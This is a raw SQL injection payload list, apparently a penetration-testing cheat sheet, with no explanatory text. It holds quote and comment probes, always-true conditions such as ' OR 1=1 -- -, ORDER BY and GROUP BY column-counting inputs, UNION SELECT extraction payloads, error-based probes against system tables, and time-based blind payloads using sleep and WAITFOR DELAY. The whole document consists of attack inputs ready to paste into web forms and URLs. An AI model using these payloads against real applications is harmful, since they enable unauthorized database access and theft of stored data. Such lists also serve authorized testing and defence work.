'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/ 
+        addition, concatenate (or space in url)
||        (double pipe) concatenate
%        wildcard attribute indicator

@variable    local variable
@@variable    global variable


# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2


1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+

1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+

1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --


-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --


-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@

1 AND (SELECT * FROM Users) = 1    

' AND MID(VERSION(),1,1) = '5';

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --


Finding the table name


Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

Comments:

#        Hash comment
/*      C-style comment
-- -    SQL comment
;%00    Nullbyte
`        Backtick